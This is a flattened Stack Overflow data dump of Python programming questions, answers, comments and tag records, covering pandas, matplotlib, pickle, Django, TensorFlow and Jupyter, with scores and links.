answers question: http://stackoverflow.com/q/47251446
has comment: http://stackoverflow.com/comment/84340080
has comment: http://stackoverflow.com/comment/81471051
downvote count: 1
upvote count: 2
has comment: http://stackoverflow.com/comment/137637600
has body: You can add vmin and vmax arguments to your call to pcolormesh. Set them to the max and min value of both your datasets. See https://matplotlib.org/api/_as_gen/matplotlib.axes.Axes.pcolormesh.html f1, t1, Sxx1 = spectrogram(np.diff(rawdata), F_S) f2, t2, Sxx2 = spectrogram(np.diff(rawdata - noise), F_S) Sxx_min = np.amin(np.minimum(Sxx1, Sxx2)) Sxx_max = np.amax(np.maximum(Sxx1, Sxx2)) plt.subplot(211) plt.pcolormesh(t1, f1, Sxx1, vmin=Sxx_min, vmax=Sxx_max) plt.ylabel('Frequency [Hz]') plt.xlabel('Time [sec]') plt.colorbar() plt.subplot(212) plt.pcolormesh(t2, f2, Sxx2, vmin=Sxx_min, vmax=Sxx_max) plt.ylabel('Frequency [Hz]') plt.xlabel('Time [sec]') plt.colorbar()
type: Answer
has comment: http://stackoverflow.com/comment/81467991
score: 1

http://stackoverflow.com/a/47302624
score: 0
type: AcceptedAnswer
downvote count: 1
answers question: http://stackoverflow.com/q/47302058
accepted answer of: http://stackoverflow.com/q/47302058
has body: You can use Pandas library: import pandas as pd df = pd.read_csv('your_file.csv',sep=',|\(',engine='python',header=None) Use two separators , andd ( Then you can strip ) df[2]=df[2].str.strip(')') [2] in this case is column number.
type: Answer
upvote count: 1

http://stackoverflow.com/q/47251523
tagged with: python
has comment: http://stackoverflow.com/comment/81454218
has title: GET Request fires multiple times
score: 1
has comment: http://stackoverflow.com/comment/81453345
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81453469
has comment: http://stackoverflow.com/comment/81453691
answer count: 0
has body: I want to communicate with my javascript code so I created something which prints lol: text out in the Python console. It works, but it fires multiple times even tough I call it just one time. The server uses SimpleHTTPServer. Code: def do_GET(self): if self.path.startswith('/test'): print 'lol:', parsed = urlparse.parse_qs(urlparse.urlparse(self.path).query) test = parsed['test'][0] print test Javascript code: function log(txt) { var xhr = new XMLHttpRequest(), method = "GET", url = "/test?test=" + txt; xhr.open(method,url,true); xhr.send(); } Output: lol: g lol: g lol: g lol: g lol: g lol: g lol: g lol: g lol: g
type: UnansweredQuestion
downvote count: 0
tagged with: javascript
upvote count: 1

http://stackoverflow.com/q/47319591
has title: How do I convert a large JSON file to a Pandas Dataframe or a regular CSV file?
answer count: 1
accepted answer: http://stackoverflow.com/a/47320317
tagged with: python-requests
has answer: http://stackoverflow.com/a/47320317
downvote count: 1
favorite count: 0
has body: I've tried json_normalize, and this seems to work; however, it does not print my desired output. import requests import json from pandas.io.json import json_normalize import pandas as pd url = "https://www.qnt.io/api/results?pID=gifgif&amp;mID=54a309ae1c61be23aba0da62&amp;key=54a309ac1c61be23aba0da3f" aResponse = requests.get(url) y = json.loads(aResponse.content) json_test = json.dumps(y, indent = 4, sort_keys=True) print(json_test) csv = json_normalize(y['results']) print(csv) Displaying the output of this code is difficult and extremely confusing; therefore, I think its in both of our best interests that I leave it out. If that is a useful piece of information, I can add it. The json.dumps portion simply orgranizes my json file so that it is easily viewable. Unfortunately, I can't post the entire json file because Stack isn't a huge fan of my formatting. Here is a small snippet: { "query_parameters": { "limit": 10, "mID": "54a309ae1c61be23aba0da62", "skip": 0, "sort": 1 }, "results": [ { "cID": "5314ab42d34b6c5b402aead4", "content": "BE9kUwvLfsAmI", "content_data": { "added_with_admin": false, "dateAdded": 1393863490.072894, "embedLink": "http://media3.giphy.com/media/BE9kUwvLfsAmI/giphy.gif", "still_image": "http://media.giphy.com/media/BE9kUwvLfsAmI/200_s.gif", "tags": [ "adam levine", "embarassed", "the voice", "confession" ] }, "content_type": "gif", "index": 269, "parameters": { "mu": 35.92818823777915, "sigma": 1.88084276812386 }, "rank": 0 }, There is about 10 more of these (ranging all the way up to 6119; however, I'm trying to get just part of this working). I want my output to be ordered as such: rank, tags, embedLink, mu, sigma, index. Here is an example of my desired output: 0, adam levine, embarassed, the voice, confession, http://media3.giphy.com/media/BE9kUwvLfsAmI/giphy.gif, 35.92818823777915, 1.88084276812386, 269 I would like to have it as a csv file; however, I think creating a dataframe using Pandas could also be quite useful. I think my probl…
type: Question
tagged with: http://stackoverflow.com/tag/csv
tagged with: http://stackoverflow.com/tag/json
tagged with: python
score: 2
type: AnsweredQuestion
tagged with: pandas
upvote count: 3

http://stackoverflow.com/q/47256703
has comment: http://stackoverflow.com/comment/81464476
has comment: http://stackoverflow.com/comment/81464511
has comment: http://stackoverflow.com/comment/81464869
has comment: http://stackoverflow.com/comment/81464435
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81464588
has comment: http://stackoverflow.com/comment/81464423
tagged with: nltk
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81464526
has title: Pickle won't save just the object instance
has comment: http://stackoverflow.com/comment/81464399
tagged with: pickle
tagged with: python
has comment: http://stackoverflow.com/comment/81464865
has comment: http://stackoverflow.com/comment/81464842
has body: I'm working with text classification using NLTK and since it would take a long time to re-train my classifier everytime I want to use it I've been trying to use pickle to save an instance of the classifier that I can just call up later. My code looks like this: classifier = nltk.NaiveBayesClassifier.train(training_set) filehandler = open("class.pickle","wb") pickle.dump( classifier, filehandler ) filehandler.close() However, when I pull up the classifier in another program: classifier = pickle.load(open("class.pickle","rb")) and run the program, it doesn't just open the classifier object, but it runs the entire file as well, and in doing so retrains everything and runs code that doesn't need to be run (such as print statements). edit: It seems the problem was I was also importing another function from the file I created my classifier in. I moved this function to my new file and re-ran it and it works fine now.
has comment: http://stackoverflow.com/comment/81464347
has comment: http://stackoverflow.com/comment/81464878
answer count: 0
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/a/47325358
downvote count: 0
has body: Try apply filter in frequency domain, your image after FFT will have regular bright dots, because your image noise. If you will remove these dots and make inverse FFT transform you will remove dots from your image. Check this examples please: example1 , example2 and example3.
score: 2
has comment: http://stackoverflow.com/comment/81651882
type: Answer
accepted answer of: http://stackoverflow.com/q/47324258
has comment: http://stackoverflow.com/comment/81643598
upvote count: 2
answers question: http://stackoverflow.com/q/47324258
type: AcceptedAnswer

http://stackoverflow.com/q/47233779
has answer: http://stackoverflow.com/a/47233789
favorite count: 0
type: Question
has title: i was trying to make a dictionary using tuple as key , But while accessing it gives this error
has body: gn={('A','S'):140,('A','Z'):75,('A','T'):118,('Z','O'):71,('S','0'):151,('S','R'):80,('S','F'):99,('F','B'):211,('R','P'):97,('R','C'):146,('P','C'):138,('P','B'):101,('F','B'):211} gn {('A', 'S'): 140, ('A', 'Z'): 75, ('A', 'T'): 118, ('Z', 'O'): 71, ('S', '0'): 151, ('S', 'R'): 80, ('S', 'F'): 99, ('F', 'B'): 211, ('R', 'P'): 97, ('R', 'C'): 146, ('P', 'C'): 138, ('P', 'B'): 101} gn('A','Z') Traceback (most recent call last): File "", line 1, in gn('A','Z') TypeError: 'dict' object is not callable
has comment: http://stackoverflow.com/comment/81418142
score: -2
tagged with: python
tagged with: dictionary
upvote count: 0
type: UnansweredQuestion
downvote count: 2
answer count: 1

http://stackoverflow.com/q/47242998
upvote count: 2
tagged with: debugging
downvote count: 0
answer count: 0
type: UnansweredQuestion
tagged with: package
has title: What is site-packages\pkg_resources & Why is it Saying I Have Dependancy Problems?
favorite count: 0
type: Question
score: 2
tagged with: python
has body: Question: How do I understand the output of raise VersionConflict(dist, req).with_context(dependent_req) to resolve dependencies &amp; why aren't these conflics being discovered when I install via pip? This is what gets spit out when that VersionConflict().with_context() gets executed: pkg_resources.ContextualVersionConflict: ( foo-module &lt;some HIGHER version number&gt; (c:\&lt;blahblah&gt;\lib\site-packages), Requirement.parse('foo-module[autorest]==&lt;some LOWER version number&gt;'), set([&lt;some fat list of modules&gt;]) ) Some Background: I wrote a tool to quickly turn on/off &amp; check the status of some of my Azure-VMs. I have the azure, msrest, &amp; msrestazure packages as dependencies. I thought I got the requirements.txt right, but clearly that's not the case. You can find my broken piece-o'-garbagio right here. This particular dependency-conflict-discovery issue happens at runtime, &amp; seems to effect python cli programs. Specifically, it appears to effect packages installed locally (via something like pip install .,) &amp; which use a setup.py file containing an entry_points= argument like the one below: setup(... entry_points={'console_script = foo_package.__barModule__:baz_function'}, ...) (a search for pkg_resources.ContextualVersionConflict turns up a lot of questions around scrapy.) My Issue: I don't know where to start looking for version-info to resolve this conflict. Here's the traceback I get when I run $ azureutils turnon vm1: Traceback (most recent call last): File "C:\Users\NUNYA-BITNASS\Anaconda2\envs\azurerm2.7\Scripts\azureutils-script.py", line 6, in &lt;module&gt; from pkg_resources import load_entry_point File "C:\Users\NUNYA-BITNASS\Anaconda2\envs\azurerm2.7\lib\site-packages\pkg_resources\__init__.py", line 3138, in &lt;module&gt; @_call_aside File "C:\Users\NUNYA-BITNASS\Anaconda2\envs\azurerm2.7\lib\site-packages\pkg_resources\__init__.py", line 3122, in _call_aside f(*args, **kwargs) File "C:\Users\NUNYA-BITNASS\Anaconda2\e…
tagged with: import
tagged with: command-line

http://stackoverflow.com/comment/81488103
type: QuestionComment
has text: Well, this is you best bet. I am not sure whether the page iterator contains the iter.next() method or not.
type: Comment
comment on: http://stackoverflow.com/q/47265346
score: 0

http://stackoverflow.com/a/47281279
answers question: http://stackoverflow.com/q/47281248
has comment: http://stackoverflow.com/comment/81512995
has comment: http://stackoverflow.com/comment/81513225
upvote count: 2
has comment: http://stackoverflow.com/comment/81513387
has comment: http://stackoverflow.com/comment/81513642
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81517746
accepted answer of: http://stackoverflow.com/q/47281248
score: 2
has comment: http://stackoverflow.com/comment/81515025
has body: UPD: Since your project structure is lack of migrations folder in mainsite app, it means that you haven't created migrations for that app. Run python manage.py makemigrations mainsite and then python manage.py migrate. From docs: To add migrations to an app that doesn’t have a migrations directory, run makemigrations with the app’s app_label. And yes, you can create model with simple instance creation. From docs Creating objects. Original answer: You need to be sure that you've included your 'mainsite' app in INSTALLED_APPS in settings.py and then run migrations. After that you should be able to do the following: c = Category.objects.create(name='category test') c.save()
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81515195
has comment: http://stackoverflow.com/comment/81512934

http://stackoverflow.com/q/47318200
answer count: 2
has answer: http://stackoverflow.com/a/47318294
tagged with: pandas
has title: Python dataframe group labeling
upvote count: 3
downvote count: 0
accepted answer: http://stackoverflow.com/a/47318261
tagged with: segment
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47318261
has body: Is there any tool in Pandas or other python package to facilitate the labeling of groups of varying number rows in a Pandas’ dataFrame? Here are more detail: My dataFrame has a column of datetime.datetime objects used as the dataFrame index. The time is not evenly spaced and during a given amount of time, the number of rows varies. In that dataFrame, I need to make a column that has a different label for each series of rows that span over a constant time span (12 seconds in my case). For example, using examples with seconds Time(s) | label 1 | 0 2 | 0 3 | 0 7 | 0 12 | 1 15 | 1 20 | 1 24 | 2 Etc… I’m looking for an alternative as a brute-force loop. Algorithms somewhat related to that are labeling, segmenting, mapping but i'm not sure what to look for exactly. I was hoping there would be something exploiting python, Pandas and/or Numpy in a more efficient way since the number of rows is gonna be of the order of a hundred millions. Thanks
score: 3
tagged with: labeling
tagged with: python
possible better answer: http://stackoverflow.com/a/47318294
type: AnsweredQuestion

http://stackoverflow.com/q/47236465
has answer: http://stackoverflow.com/a/56700122
has title: Oversampling functionality in Tensorflow dataset API
has answer: http://stackoverflow.com/a/47236466
answer count: 4
tagged with: tensorflow
tagged with: tensorflow-datasets
favorite count: 0
has answer: http://stackoverflow.com/a/54760567
type: Question
tagged with: sampling
has comment: http://stackoverflow.com/comment/85790504
upvote count: 12
type: UnansweredQuestion
has body: I would like to ask if current API of datasets allows for implementation of oversampling algorithm? I deal with highly imbalanced class problem. I was thinking that it would be nice to oversample specific classes during dataset parsing i.e. online generation. I've seen the implementation for rejection_resample function, however this removes samples instead of duplicating them and its slows down batch generation (when target distribution is much different then initial one). The thing I would like to achieve is: to take an example, look at its class probability decide if duplicate it or not. Then call dataset.shuffle(...) dataset.batch(...) and get iterator. The best (in my opinion) approach would be to oversample low probable classes and subsample most probable ones. I would like to do it online since it's more flexible.
tagged with: python
has answer: http://stackoverflow.com/a/76262440
score: 12
downvote count: 0

http://stackoverflow.com/q/47346992
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47347033
tagged with: python
has title: why this panda data frame doesn't append
score: 0
has body: I am hoping in the following code, the for loop will loop around all the csv in the folder, and the df data frame will append after reading from each csv. However, the df here never appends, but only contain the content of the first csv. Any thoughts? Thanks! We are in python 3.6 and pandas 0.21 path = "/home/ubuntu/QA/client_" + CLIENT_ID + "_raw_data_" + year + "/_ACTUAL_*_Accrual*.xls" if CLIENT_ID in ('7') df_columns=pd.DataFrame(columns=['PropID','PROPERTY_CODE','TreeNodeID','ACCOUNT_CODE','TreeNodeName','ReportYear','Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec']) OUTPUT_CSV="Client_"+CLIENT_ID+"_"+year+"_"+ACCOUNTING_TYPE+"_QA.csv" df_columns.to_csv(OUTPUT_CSV, header=True, index=False, encoding='utf-8',na_rep="NA", mode='w') df = pd.DataFrame() for fname in glob.iglob(path): print (fname) df2 = pd.DataFrame() df2=pd.read_excel(fname,skiprows=4,converters={'TreeNodeCode':np.int64,'PropCode':np.str}).dropna(subset=['TreeNodeCode'],how='any') ## convert the account code in the raw data into strings. dropna drops the raw of the column 4 ,which is the IAM account code, if the column 4 is NA print (df2) df=df.append(df2) df=df.rename(columns={'TreeNodeCode':'ACCOUNT_CODE'}) df=df.rename(columns={'PropCode':'PROPERTY_CODE'}) df['PROPERTY_CODE'] = df_QA['PROPERTY_CODE'].astype(np.str) df['ACCOUNT_CODE'] = df_QA['ACCOUNT_CODE'].astype(np.str) df_QA['PROPERTY_CODE'] = df_QA['PROPERTY_CODE'].astype(np.str) df_QA['ACCOUNT_CODE'] = df_QA['ACCOUNT_CODE'].astype(np.str) print ("this is df") print (df) print ("this is df_QA") print (df_QA) df_check=pd.merge(df,df_QA, how='inner',on=['PROPERTY_CODE','ACCOUNT_CODE']) #print (df_check) # tricks in this ticket: https://stackoverflow.com/questions/384192823/subtracting-multiple-columns-and-appending-results-in-pandas-dataframe df_check'Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec' = df_check[['Jan_x','Feb_x','Mar_x','Apr_x','May_x','Jun_x','Jul_x','Aug_x','Sep_x','Oct_x','Nov…
tagged with: pandas
answer count: 1
type: Question
has comment: http://stackoverflow.com/comment/81647941

http://stackoverflow.com/q/47291639
score: 0
answer count: 2
tagged with: types
tagged with: select
accepted answer: http://stackoverflow.com/a/47291650
has answer: http://stackoverflow.com/a/47291650
has title: How to select list in pandas dataframe
type: Question
possible better answer: http://stackoverflow.com/a/47291947
has answer: http://stackoverflow.com/a/47291947
tagged with: python
tagged with: list
tagged with: pandas
type: AnsweredQuestion
has body: I have a dataframe which contains list item in a single cell. For example, data frame 'home' a b c 'book' ['living room'] ['cat','foo'] 'shoes' ['door'] ['man','woman'] 'cook' [] ['knife'] The question is how do I select the 'cook' based on b == [] (empty list). like home.loc[home.b==[]] BTW, I created the list using lambda x : [] function.

http://stackoverflow.com/q/47362508
has comment: http://stackoverflow.com/comment/81678402
has comment: http://stackoverflow.com/comment/81678133
has comment: http://stackoverflow.com/comment/81678271
has comment: http://stackoverflow.com/comment/81678082
has comment: http://stackoverflow.com/comment/81678181
has comment: http://stackoverflow.com/comment/81678018
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81677938
answer count: 2
accepted answer: http://stackoverflow.com/a/47362558
upvote count: 2
has comment: http://stackoverflow.com/comment/81678260
has comment: http://stackoverflow.com/comment/81677949
has comment: http://stackoverflow.com/comment/81678027
has title: Second largest in negative numbers
has answer: http://stackoverflow.com/a/47362558
tagged with: python
score: -1
possible better answer: http://stackoverflow.com/a/47362690
has body: I am using this to find second largest in the array, it works fine in case of positive numbers but it fails in case of negative numbers. Can you suggest this solution so it works for negative numbers also? arr = [-3,3,-3,3]; k = max(arr) m= arr[0]; i=0; k = max(arr) while i &lt;(len(arr)-1): if(m&lt;arr[i+1] and arr[i+1] !=k ): m= arr[i+1] i+=1 print m
has comment: http://stackoverflow.com/comment/81678392
has answer: http://stackoverflow.com/a/47362690
has comment: http://stackoverflow.com/comment/81677999
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81677928
has comment: http://stackoverflow.com/comment/81678019
has comment: http://stackoverflow.com/comment/81677971
downvote count: 3

keras
tags question: http://stackoverflow.com/q/47324571
tags question: http://stackoverflow.com/q/47368466
tags question: http://stackoverflow.com/q/47292564
tags question: http://stackoverflow.com/q/47318211
tags question: http://stackoverflow.com/q/47302085
tags question: http://stackoverflow.com/q/47272383
tags question: http://stackoverflow.com/q/47262955
tags question: http://stackoverflow.com/q/47352856
tags question: http://stackoverflow.com/q/47292203
tags question: http://stackoverflow.com/q/47289116
tags question: http://stackoverflow.com/q/47228111
tags question: http://stackoverflow.com/q/47294735
tags question: http://stackoverflow.com/q/47363899
tags question: http://stackoverflow.com/q/47294533
tags question: http://stackoverflow.com/q/47346809
tags question: http://stackoverflow.com/q/47272699
tags question: http://stackoverflow.com/q/47296197
tags question: http://stackoverflow.com/q/47375416
tags question: http://stackoverflow.com/q/47288722
tags question: http://stackoverflow.com/q/47352366
tags question: http://stackoverflow.com/q/47238235
tags question: http://stackoverflow.com/q/47356625
tags question: http://stackoverflow.com/q/47295025
tags question: http://stackoverflow.com/q/47276761
tags question: http://stackoverflow.com/q/47309595
tags question: http://stackoverflow.com/q/47300713
tags question: http://stackoverflow.com/q/47234375
tags question: http://stackoverflow.com/q/47382184
tags question: http://stackoverflow.com/q/47326026
tags question: http://stackoverflow.com/q/47239453
tags question: http://stackoverflow.com/q/47274299
tags question: http://stackoverflow.com/q/47328528
tags question: http://stackoverflow.com/q/47327791
tags question: http://stackoverflow.com/q/47240349
tags question: http://stackoverflow.com/q/47378225
tags question: http://stackoverflow.com/q/47360148
tag name: keras
tags question: http://stackoverflow.com/q/47295760
tags question: http://stackoverflow.com/q/47297175
tags question: http://stackoverflow.com/q/47305618
tags question: http://stackoverflow.com/q/47243903
tags question: http://stackoverflow.com/q/47378542
tags question: http://stackoverflow.com/q/47367988
tags question: http://stackoverflow.com/q/47315437
tags question: http://stackoverflow.com/q/47336894
tags question: http://stackoverflow.com/q/47279677
tags question: http://stackoverflow.com/q/47334788
tags question: http://stackoverflow.com/q/47292092
type: Tag
tags question: http://stackoverflow.com/q/47263006
tags question: http://stackoverflow.com/q/47305059
tags question: http://stackoverflow.com/q/47375000
tags question: http://stackoverflow.com/q/47319726
tags question: http://stackoverflow.com/q/47228270
tags question: http://stackoverflow.com/q/47266383
tags question: http://stackoverflow.com/q/47231408
tags question: http://stackoverflow.com/q/47305473
tags question: http://stackoverflow.com/q/47273739
tags question: http://stackoverflow.com/q/47283356
tags question: http://stackoverflow.com/q/47328397
tags question: http://stackoverflow.com/q/47299665
tags question: http://stackoverflow.com/q/47346615
tags question: http://stackoverflow.com/q/47265412

http://stackoverflow.com/q/47249845
score: 2
has title: Pyminifier (obfuscation) does not appear to change anything other than in command line
downvote count: 0
tagged with: pyinstaller
has answer: http://stackoverflow.com/a/47250419
accepted answer: http://stackoverflow.com/a/47250419
answer count: 1
has comment: http://stackoverflow.com/comment/81451497
tagged with: obfuscation
has comment: http://stackoverflow.com/comment/81451032
has body: I am attempting to obfuscate my python code with pyminifier. Generally I would use SAAS, however it is not within the budget of this small project nor is it feasible to host this as a server application. I have tried the following code: pyminifier --nonlatin --replacement-length=50 C:/hi.py Though when I edit the file it does not appear to be any different. The same can be said when I open with Uncompile6. Am I missing something? It changes in command line or appears to. If I distributed this through pyinstaller, the code appears to change in cmd but does not seem any different.
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: decompiling
tagged with: python
has comment: http://stackoverflow.com/comment/81450906
has comment: http://stackoverflow.com/comment/81597582
upvote count: 2
type: AnsweredQuestion

http://stackoverflow.com/comment/81707279
has text: What is desired output? Maybe need `pd.concat([dataframe1,dataframe2],axis=1)`
comment on: http://stackoverflow.com/q/47377507
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47320551
favorite count: 0
has comment: http://stackoverflow.com/comment/81592311
type: AnsweredQuestion
tagged with: windows
tagged with: range
tagged with: python
upvote count: 6
has body: I need a countdown timer in python but without skipping line. from time import sleep for c in range (4,0,-1): print(c) sleep(1) this code makes the countdown by jumping the lines ex: print('3') print('2') print('1') I need that in the same line show first 3, then 2, last 1. ex: print('3,' + sleep(1) + '2,' + sleep(1) + '1.')
has comment: http://stackoverflow.com/comment/81592212
accepted answer: http://stackoverflow.com/a/47320595
linked to: http://stackoverflow.com/q/3173320
type: Question
answer count: 2
tagged with: printing
has title: How to display a countdown on a single line in the console?
has comment: http://stackoverflow.com/comment/81592266
downvote count: 0
score: 6
has comment: http://stackoverflow.com/comment/81592280
tagged with: countdown
has answer: http://stackoverflow.com/a/73779959
possible better answer: http://stackoverflow.com/a/73779959
has comment: http://stackoverflow.com/comment/81592274
has answer: http://stackoverflow.com/a/47320595

http://stackoverflow.com/comment/81451952
type: QuestionComment
comment on: http://stackoverflow.com/q/47250816
has text: BTW, `ch1 == 'l' or 'L'` doesn't do what you think it does. It's equivalent to `(ch1 == 'l') or 'L'`. See http://stackoverflow.com/questions/20002503/why-does-a-b-or-c-or-d-always-evaluate-to-true and http://stackoverflow.com/questions/15112125/how-do-i-test-one-variable-against-multiple-values
score: 0
type: Comment

http://stackoverflow.com/a/47318708
score: 3
upvote count: 3
type: Answer
accepted answer of: http://stackoverflow.com/q/47289909
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47289909
has body: Try installing directly from github pip install git+git://github.com/confluentinc/confluent-kafka-python.git

http://stackoverflow.com/a/47248475
has comment: http://stackoverflow.com/comment/81447754
has body: You can create a function to display it: def display(m): for r in m: print(r) So printing Matrix would normally result in: [[0, 0, 0], [0, 0, 0], [0, 0, 0]] but, if instead you do display(Matrix) after defining this function somewhere in your code, you will get: [0, 0, 0] [0, 0, 0] [0, 0, 0] where each row in the matrix is beneath each other. And of course, if you didn't want to define a matrix populated with 0s, you can just hard code the contents: Matrix = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] which to show the function works, outputs the following from display(Matrix): [1, 2, 3] [4, 5, 6] [7, 8, 9] Note that it is probably better to call this a 2-dimensional list rather than a Matrix to avoid confusion.
answers question: http://stackoverflow.com/q/47248437
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/81448964
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81448015
has comment: http://stackoverflow.com/comment/81447634
type: Answer
accepted answer of: http://stackoverflow.com/q/47248437

http://stackoverflow.com/q/47249995
has body: I'm trying to set the time from python, It is almost working, except than program is never returning back to Python. The time is set/change correct, but after that nothing happens. The last 3 lines is not carried out. What is wrong ? klokken = "2017-11-12 09:50:00" print("DS3231 kl:\t\t%s" % klokken) import subprocess try: subprocess.check_output(["sudo", "date", '--set', klokken]) except subprocess.CalledProcessError: print("date error") print("Time and date is set")
has comment: http://stackoverflow.com/comment/81450752
has comment: http://stackoverflow.com/comment/81450282
score: 1
answer count: 1
has title: RPI Python subprocess.check_output - not returning
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47250448
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81450851

http://stackoverflow.com/q/47246384
has comment: http://stackoverflow.com/comment/81443090
answer count: 3
tagged with: pandas
has title: pandas monthly resample 15th day
type: Question
upvote count: 4
has answer: http://stackoverflow.com/a/72126645
has comment: http://stackoverflow.com/comment/81443066
has body: I am trying to resample to monthly values but with respect to 15th day I checked the timeseries offsets documentation but there is only M month end frequency SM semi-month end frequency (15th and end of month) MS month start frequency SMS semi-month start frequency (1st and 15th) while I need just the 15th day Something like 2000-01-15 8.7 2000-02-15 6.9 2000-03-15 15.8 2000-04-15 12.4 I tried with pd.offsets.MonthBegin and MonthOffset with no results
has answer: http://stackoverflow.com/a/76548741
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47246417
downvote count: 0
tagged with: resampling
tagged with: python
score: 4
has comment: http://stackoverflow.com/comment/81443071
favorite count: 0

http://stackoverflow.com/comment/81642998
comment on: http://stackoverflow.com/q/47345303
has text: Note: The comma after `i` doesn't help much either
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81418674
score: 0
comment on: http://stackoverflow.com/q/47234002
has text: @roganjosh The normal way: with python.org. It's version 2.7.14. And, some of my Python files are working, and some are not.
type: Comment
type: QuestionComment

julia
tags question: http://stackoverflow.com/q/47377003
tags question: http://stackoverflow.com/q/47254540
type: Tag
tag name: julia
tags question: http://stackoverflow.com/q/47287971

http://stackoverflow.com/comment/97627305
comment on: http://stackoverflow.com/a/49878147
has text: this helped for a conda + venv setup.
type: AnswerComment
score: 2
type: Comment

http://stackoverflow.com/a/47249506
score: 1
has comment: http://stackoverflow.com/comment/81450782
type: Answer
has comment: http://stackoverflow.com/comment/81449199
has comment: http://stackoverflow.com/comment/81449229
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47248991
type: AcceptedAnswer
has body: Pure Python solution without any modules: This can be done using modules such as with numpy and groupby, but I thought it would be call to attempt without them, just with plain Python. Here is my solution: text = [2, 3, 4, 7, 8, 9, 10, 12, 13, 14, 16, 17, 18] s = 0 finaltext = [] for i in range(len(text)-1): if text[i] + 1 != text[i+1]: finaltext.append(text[s:i+1]) s = i+1 finaltext.append(text[s:]) which gives finaltext as: [[2, 3, 4], [7, 8, 9, 10], [12, 13, 14], [16, 17, 18]] Update To get both of the lists (not sure why you would want to), you can use the following: empty = [1, 5, 6, 11, 15, 19] text = [2, 3, 4, 7, 8, 9, 10, 12, 13, 14, 16, 17, 18] s = 0 finaltext = [] finaltext_including_empty = [] for i in range(len(text)-1): if text[i] + 1 != text[i+1]: finaltext.append(text[s:i+1]) finaltext_including_empty.append(list(range(text[s], text[i+1]))) s = i+1 finaltext.append(text[s:]) finaltext_including_empty.append(list(range(text[s],max(empty[-1]+1, text[-1]+1)))) which gives finaltext the same as before and finaltext_including_empty as: [[2, 3, 4, 5, 6], [7, 8, 9, 10, 11], [12, 13, 14, 15], [16, 17, 18, 19]]
has comment: http://stackoverflow.com/comment/81450884
has comment: http://stackoverflow.com/comment/81449949
answers question: http://stackoverflow.com/q/47248991
has comment: http://stackoverflow.com/comment/81451049
has comment: http://stackoverflow.com/comment/81449889

http://stackoverflow.com/q/47258417
has title: What pandas operation will help me do a groupby and aggregate by column combinations?
has answer: http://stackoverflow.com/a/47259566
tagged with: python
has body: Here's an example of what I am trying to do: bar foo o1 o2 thing 0 1 1 0.0 3.3 a 1 1 1 1.1 4.4 a 2 3 2 2.2 5.5 b foo_1_bar_3_o1 foo_1_bar_3_o2 foo_2_bar_3_o1 foo_2_bar_3_o2 \ 0 NaN NaN NaN NaN 1 NaN NaN 2.2 5.5 foo_1_bar_1_o1 foo_1_bar_1_o2 foo_2_bar_1_o1 foo_2_bar_1_o2 thing 0 1.1 7.7 NaN NaN a 1 NaN NaN NaN NaN b The first is my input DataFrame and the second is my desired output DataFrame (NaNs could be substituted with 0's). This should be some sort of a groupby (on column thing) and then some kind of an aggregating function on values in the columns o1 and o2 that aggregate based on all possible combinations of the values of foo and bar. Notice that foo_1_bar_2_o2 is 7.7 because it is the sum over the column o2 when foo == 1 &amp;&amp; bar == 2 for the group 'a'. I've tried researching dcast, crosstab, and pivot in pandas but none seem to satisfy what I am trying to do. I wrote base Python code that does what I want, but, again, I would like to translate it to a more friendly format using already existing functions. I don't believe my use-case is obscure enough for this to not be possible. Below is the base Python code for this operation. import pandas as pd import numpy as np import itertools df = pd.DataFrame({'thing': ['a', 'a', 'b'], 'foo': [1, 1, 2], 'bar': [1, 1, 3], 'o1': [0.0, 1.1, 2.2], 'o2': [3.3, 4.4, 5.5]}) key_columns = ['foo', 'bar'] key_value_pairs = [df[key].values.tolist() for key in key_columns] key_value_pairs = list(set(itertools.product(*key_value_pairs))) output_columns = ['o1', 'o2'] def aggregate(df): new_columns = [] for pair in key_value_pairs: pair = list(zip(key_columns, pair)) new_column = '_'.join(['%s_%d' % (key, value) for key, value in pair]) for o in output_columns: criteria = list() for key, value in pair: criterion = (df[key] == value) criteria.append(criterion) new_columns.append('%s_%s' % (new_column, o)) df[new_columns[-1]] = df[np.logical_and.reduce(criteria)][o].sum() return df.head(1)[new_columns + ['thing']] things = df…
score: 2
type: AnsweredQuestion
tagged with: pandas
tagged with: group-by
downvote count: 0
possible better answer: http://stackoverflow.com/a/47259788
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47259788
answer count: 2
upvote count: 2
accepted answer: http://stackoverflow.com/a/47259566
tagged with: pivot-table

http://stackoverflow.com/q/47335731
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47336914
tagged with: jupyter
has title: Running Jupyter notebook in docker image on Google Cloud
tagged with: virtual-machine
has answer: http://stackoverflow.com/a/47336914
favorite count: 0
has body: I'm running an Ubuntu 16.04 VM on Google Compute Engine. I've created a static IP address &lt;my_static_ip_address&gt; and my firewall settings allow tcp:80-8888. I started the Jupyter server within the docker image with jupyter notebook --ip=0.0.0.0 --port=8888 --no-browser --allow-root and got this URL http://0.0.0.0:8888/?token=8b26c453d278eae1da71b80f26a4ef8ea06734e5c636d897 I'm not able to access from external browser with http://&lt;my_static_ip_address&gt;:8888 What am I missing?
type: Question
upvote count: 2
downvote count: 0
